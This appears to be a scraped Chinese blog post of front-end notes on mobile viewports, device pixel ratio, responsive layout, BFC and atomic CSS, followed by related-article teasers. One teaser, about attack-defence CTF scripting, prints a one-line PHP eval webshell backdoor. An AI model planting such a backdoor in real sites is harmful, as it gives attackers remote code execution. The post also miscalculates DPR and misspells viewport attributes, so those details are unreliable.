移动端相关 BFC CSS原子化 ✅

移动端相关

设备宽度&视口

设备宽度是指设备屏幕的实际物理宽度,通常以像素(px)表示。它是固定的,取决于设备的硬件。不同设备(如手机、平板、桌面等)有不同的设备宽度。

常被提及的视口可被分为3种:布局视口、视觉视口和理想视口。

  • 布局视口是指网页布局计算和呈现的区域。在大移动端部分设备上,布局视口的宽度和设备宽度是相等的(如375px)。
  • 视觉视口是用户在屏幕上实际看到的网页区域,包括布局视口中可见的部分。通过缩放用户可以改变视觉视口的大小,但不会影响到布局视口。
  • 理想视口说这种视口其实并不存在都不过分 是设计师所期望的视口大小,它是设计时的一个目标,或者说他就是布局视口的目标。我们可以通过HTML文件里面的meta标签来设置布局视口的宽度,比如360px,然后让这个网页在不同的移动端设备上运行,此时360px宽度的布局视口就是我们的理想视口。

如下:

<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximun-scale=1.0, minimun-scale=1.0">

width=device-width即布局视口宽度和设备保持一致,user-scalable=no即不允许用户缩放,initial-scale=1.0即初始缩放比例为1,maximun-scale和minimun-scale分别为最大缩放比例和最小缩放比例。

<!-- 这里的demo也很容易实现: -->
<meta name="viewport" content="width=2000, initial-scale=1.0" />

此时你可以在控制台里观察到body的宽度被改为了2000px,但是这种方法和直接修改body的width不同。因为body的宽度默认是100%,应该说因为布局视口宽度的改变,才成功影响了body的宽度以及整个页面的布局。

物理像素比(DPR)

物理像素比是一个用来描述设备的物理像素(设备屏幕上实际的像素点,由硬件决定,即所谓的分辨率)与逻辑像素(你在CSS里面写的1px)之间关系的概念。假设你那部屏幕是正方形的手机的分辨率是200✖️200,而他的逻辑分辨率是100✖️100,他的物理像素比就是40000/10000=4,即你在CSS里写的1px映射到你的屏幕上占据的就是4个物理像素。假设一个设备的物理像素为 1920x1080,而其逻辑分辨率为 960x540。
与物理像素比相关的移动端优化方案有很多 (应该吧哈哈,感觉多数是为了解决图片在移动端设备屏幕上显示模糊的问题) ,比较经典的是「二倍图」。
二倍图的分辨率是常规图像的两倍,使用它是为了确保在高DPR设备上图像显示的清晰度和细腻度,减少锯齿和模糊现象。例如,如果一个标准图像的尺寸是100x100像素,那么其对应的二倍图将是200x200像素,然后我准备一个height和width都为100px的img,在高DPR的屏幕里加载200x200那张,在低DPR的屏幕里加载100x100那张,都能得到较清晰的效果。
还有一个相关的技术就是「SVG可缩放矢量图形」 (哥们用的也不多哈哈) ,使用SVG格式的图像不受分辨率限制,可以在任何分辨率下保持清晰,因为SVG的计算基于矢量而非像素。这使得SVG图像在不同DPR的设备上都能以最佳效果呈现。 (在不同的分辨率或DPR下,SVG的逻辑像素是不同的,我觉得是这样。)

屏幕宽度如何适配?

  • 给不同的设备开发不同的页面(组件),但成本较高。
  • 通过link标签引入样式表时,通过设置media属性给不同宽度的设备引入不同的样式表。如media=“(min-width: 768px)”
  • 通过CSS来实现响应式布局:Grid布局、流式布局、媒体查询、em、rem等单位的使用……

em是相对于当前元素的字体大小,rem是相对于根元素的字体大小
vmax 是视口宽高中的最大值,vmin 是视口宽高中的最小值
vh和vw懒得说

顺带一提,媒体查询还可以实现横竖屏切换样式的需求。

@media (orientation: portrait) {body {background-color: lightblue;/* 其他竖屏样式 */}
}/* 横屏样式 */
@media (orientation: landscape) {body {background-color: lightgreen;/* 其他横屏样式 */}
}

通过JS来实现也可以,只要给window绑定一个resize事件,通过innerWidth和innerHeight的大小的比较来确定当前是横屏还是竖屏即可。


BFC

BFC(块格式化上下文)是 CSS 中的一个概念,用于控制块级盒子之间的布局和排列。它是一种独立的布局环境,可以影响元素的排版和相对位置。BFC中的元素会处理自己的布局、边距、浮动等,而不会受其外部区域的干扰。在 BFC 内的元素及其布局不会影响到外部的元素。
但说来说去,BFC 主要还是用于解决一些常见的布局问题(特别是在涉及到浮动和外边距合并的时候):

  1. 清除浮动:当一个元素使用浮动时,它不会在父元素的正常文档流中占据空间,这可能导致父元素的高度塌陷。通过创建 BFC,包含浮动元素的父元素可以“识别”这些浮动子元素,从而自适应高度,避免塌陷现象。
  2. 控制外边距重叠:在默认情况下,块级元素的上下外边距可能会合并,即相邻的块级元素的边距会计算为最大的边距,而不是简单的相加。当元素处于 BFC 中时,其外边距不会与外部元素的外边距进行合并。

以下是常用的开启BFC的方法:

  1. 设置 overflow 属性为 hidden、auto 或 scroll,非 visible 即可(最常用)
  2. 设置 position 属性为 absolute 或 fixed。
  3. 设置 float 属性为 left 或 right。
  4. 设置 display 属性为 inline-block 以及在父元素上明确设置宽度。

谈到BFC,顺便记录一下前端开发中很常见的一个Bug (我觉得不算bug,absolute用久了之后我觉得这是更符合正常逻辑的行为) ,即高度塌陷

  • 假设一个父级元素里嵌套一个子元素,然后他俩都设置了margin-top属性,但是父元素真正的margin-top在默认情况下会取这两个定义的margin-top的较大值,此时可能会呈现父元素跟随子元素一起“塌陷”的视觉效果。此时给父元素的box-sizing设置为border-box,或者添加padding或border都可以解决这个问题
  • 浮动和绝对定位都可能造成高度塌陷,因为浮动的元素或者绝对定位的元素不再占据父元素的布局(文档流),他们无法将父元素的高度给撑开。针对浮动带来的这种问题,可以通过给父元素设置clear属性为both来清除浮动元素对当前元素所产生的影响绝对定位造成的这种问题,老老实实给固定高度算了。

CSS原子化 (感觉难用的要命)

以Tailwindcss这个库为例子,一番体验下来感觉他的哲学就是减少对 CSS 的依赖,并直接在html里面的类名写样式。以下demo来自它的官网,效果是实现了一个花里胡哨的按钮,重点看一下他那坨又臭又长的类名。

<button class="px-4 py-1 text-sm text-purple-600 font-semibold rounded-full border border-purple-200 hover:text-white hover:bg-purple-600 hover:border-transparent focus:outline-none focus:ring-2focus:ring-purple-600 focus:ring-offset-2">Message
</button>

但存在即合理,不然我也不会在面试里被问到这玩意。可以“想象”到的是这东西的熟练使用可以让开发的时候效率提升,减少CSS的代码量和复杂性,而且可以确保在整个项目中样式的一致性,避免样式冲突。
不过最有意义的应该还是用这种技术来实现样式代码的复用,这种复用不仅是少写点CSS代码,还在于编译 (或者说打包产物) 的体积的见效。因为如果是了简单的逻辑复用,那Sass已经提供了很好的方案:

// 正方形
@mixin square($size) {height: $size * $base-unit;width: $size * $base-unit;
}
// 圆形
@mixin circle($size) {height: $size * $base-unit;width: $size * $base-unit;border-radius: 50%;
}

问题是,square或者circle没被多复用一次,编译出来的东西就会多一块css代码;但是Tailwindcss不会,他的css代码永远只有一份,通过类名就可以实现里面写好的样式。

最后可以聊一下这种技术可能存在的问题 (野猪吃不了细糠,这玩意我能喷一天)

  1. 学习成本:较高
  2. 性能问题:在某些情况下,类名的碰撞可能导致性能下降,尤其是在渲染方面,因为浏览器需要处理的类较多
  3. 维护成本:语义化不够清晰。如果项目中有大量的类名,那么维护起来会比较麻烦,需要花费更多的时间

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/61638.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

resnet50,clip,Faiss+Flask简易图文搜索服务

一、实现 文件夹目录结构&#xff1a; templates -----upload.html faiss_app.py 前端代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widt…

爬虫重定向问题解决

一&#xff0c;问题 做爬虫时会遇到强制重定向的链接&#xff0c;此时可以手动获取重定向后的链接 如下图情况 第二个链接是目标要抓取的&#xff0c;但它是第一个链接重定向过去的&#xff0c;第一个链接接口状态也是302 二&#xff0c;解决方法 请求第一个链接&#xff0c…

一个小的可编辑表格问题引起的思考

11.21工作中遇到的问题 预期&#xff1a;当每行获取红包金额的时候若出现错误&#xff0c;右侧当行会出现提示 结果&#xff1a;获取红包金额出现错误&#xff0c;右侧对应行并没有出现错误提示 我发现&#xff0c;当我们设置readonly的时候&#xff0c;其实render函数依旧是…

解决 vxe-table v3.9 + iview 或者 view-design 中使用 Select 后无法选中的问题

官网文档&#xff1a;https://vxetable.cn 在开发 vue 项目中&#xff0c;使用 vxe-table 时&#xff0c;当同时配合 iview 或者 view-design 组件库使用时&#xff0c;发现一个问题&#xff0c;就是在单元格中渲染 Select 时&#xff0c;会导致下拉选项无法被选中&#xff0c…

「Mac玩转仓颉内测版27」基础篇7 - 字符串类型详解

本篇将介绍 Cangjie 中的字符串类型&#xff0c;包括字符串的定义、字面量形式、插值表达、常用操作及应用场景&#xff0c;帮助开发者熟练掌握字符串的使用。 关键词 字符串类型定义字符串字面量插值字符串字符串拼接常用操作 一、字符串类型概述 在 Cangjie 中&#xff0c;…

一种简单高效的RTSP流在线检测方法,不需要再过渡拉流就可以获取设备状态以及对应音视频通道与编码格式

平台如何检测一路RTSP流是否在线&#xff1f; 在之前的流媒体平台方案中&#xff0c;我们都是通过定时RTSP拉流的方式&#xff0c;走一个完整的RTSP流程&#xff1a;包括OPTIONS、DESCRIBE、SETUP、PLAY、RTP收流&#xff0c;这种方式去取流&#xff0c;然后取到流之后进行流解…

Excel中超链接打开文件时报错 “打开此文件的应用程序没有注册“ 的一个解决办法

需要在Excel中快速打开.bas后缀的文件&#xff0c;所以添加了文件超链接&#xff0c;但是在打开文件的时候报错 “打开此文件的应用程序没有注册” 找到文件直接双击是可以正常打开的&#xff0c;说明是哪里有问题&#xff0c;导致Excel不能找到可以打开文件的程序&#xff0c…

高效集成:金蝶盘亏单数据对接管易云

金蝶盘亏单数据集成到管易云的技术实现 在企业日常运营中&#xff0c;数据的高效流转和准确对接是确保业务顺利进行的关键。本文将聚焦于一个具体的系统对接集成案例&#xff1a;如何将金蝶云星空中的盘亏单数据无缝集成到管易云的其他出库模块。 为了实现这一目标&#xff0…

神经网络问题之一:梯度消失(Vanishing Gradient)

梯度消失&#xff08;Vanishing Gradient&#xff09;问题是深度神经网络训练中的一个关键问题&#xff0c;它主要发生在反向传播过程中&#xff0c;导致靠近输入层的权重更新变得非常缓慢甚至几乎停滞&#xff0c;严重影响网络的训练效果和性能。 图1 在深度神经网络中容易出现…

单神经元 PID 解耦控制

单神经元 PID 解耦控制是一种将单神经元自适应控制与解耦控制相结合的方法&#xff0c;适用于多输入多输出&#xff08;MIMO&#xff09;系统。其核心是利用单神经元的自适应能力实现 PID 参数在线调整&#xff0c;同时通过解耦策略减少变量之间的相互影响&#xff0c;提高控制…

数据库类型介绍

1. 关系型数据库&#xff08;Relational Database, RDBMS&#xff09;&#xff1a; • 定义&#xff1a;基于关系模型&#xff08;即表格&#xff09;存储数据&#xff0c;数据之间通过外键等关系相互关联。 • 特点&#xff1a;支持复杂的SQL查询&#xff0c;数据一致性和完整…

线性回归 - 最小二乘法

线性回归 一 简单的线性回归应用 webrtc中的音视频同步。Sender Report数据包 NTP Timestamp&#xff08;网络时间协议时间戳&#xff09;&#xff1a;这是一个64位的时间戳&#xff0c;记录着发送SR的NTP时间戳&#xff0c;用于同步不同源之间的时间。RTP Timestamp&#xff1…

《让照片或视频中的人对口型读文稿的APP》

《让照片或视频中的人对口型读文稿的APP》 剪映 功能特点&#xff1a; 操作简单&#xff0c;容易上手。它有丰富的音频功能&#xff0c;你可以导入自己想要的文稿音频。在视频编辑方面&#xff0c;能精确剪辑视频片段&#xff0c;调整播放速度&#xff0c;使人物的口型和音频更…

AWD脚本编写_1

AWD脚本编写_1 shell.php&#xff08;放在网站根目录下&#xff09; <?php error_reporting(0); eval($_GET["yanxiao"]); ?>脚本编写成功 后门文件利用与解析 import requests import base64def get_flag(url, flag_url, method, passwd, flag_path):cmd…

Linux环境基础开发工具的使用(yum、vim、gcc、g++、gdb、make/Makefile)

目录 Linux软件包管理器 - yum Linux下安装软件包的方式 认识yum 查找软件包 安装软件 如何实现本地机器和云服务器之间的文件互传 卸载软件 Linux编辑器 - vim vim的基本概念 vim下各模式的切换 批量化注释 vim的简单配置 Linux编译器 - gcc/g gcc/g的作用 gcc/g语…

IDEA如何设置编码格式,字符编码,全局编码和项目编码格式

前言 大家好&#xff0c;我是小徐啊。我们在开发Java项目&#xff08;Springboot&#xff09;的时候&#xff0c;一般都是会设置好对应的编码格式的。如果设置的不恰当&#xff0c;容易造成乱码的问题&#xff0c;这是要避免的。今天&#xff0c;小徐就来介绍下我们如何在IDEA…

【Redis】实现点赞功能

一、实现笔记点赞 使用redis实现点赞功能&#xff0c;对于一个笔记来说&#xff0c;不同用户只能是点赞和没点赞&#xff0c;点赞过的笔记再点击就应该取消点赞&#xff0c;所以实际上根据需求&#xff0c;我们只需要将点赞的数据存到对应的笔记里&#xff0c;查看对应的笔记相…

InstantStyle容器构建指南

一、介绍 InstantStyle 是一个由小红书的 InstantX 团队开发并推出的图像风格迁移框架&#xff0c;它专注于解决图像生成中的风格化问题&#xff0c;旨在生成与参考图像风格一致的图像。以下是关于 InstantStyle 的详细介绍&#xff1a; 1.技术特点 风格与内容的有效分离 &a…

Redisson学习教程(B站诸葛)

弱智级别 package org.example.controller;public class IndexController {Autowiredprivate Redisson redisson;Autowiredprivate StringRedisTemplate stringRedisTemplate;RequestMapping("/deduct_storck")public String deductStock() {String lockKey "…

PHP 实现页面跳转的三种方式及详细解析

目录 前言1. PHP 跳转2. HTML 跳转3. JavaScript 跳转 前言 在 PHP 中实现页面跳转有多种方式&#xff0c;常见的方式包括 PHP 自带的 header() 函数、HTML 元素 <meta> 标签和 JavaScript 的 window.location 三者的差异表格如下&#xff1a; 跳转方式优点缺点适用场…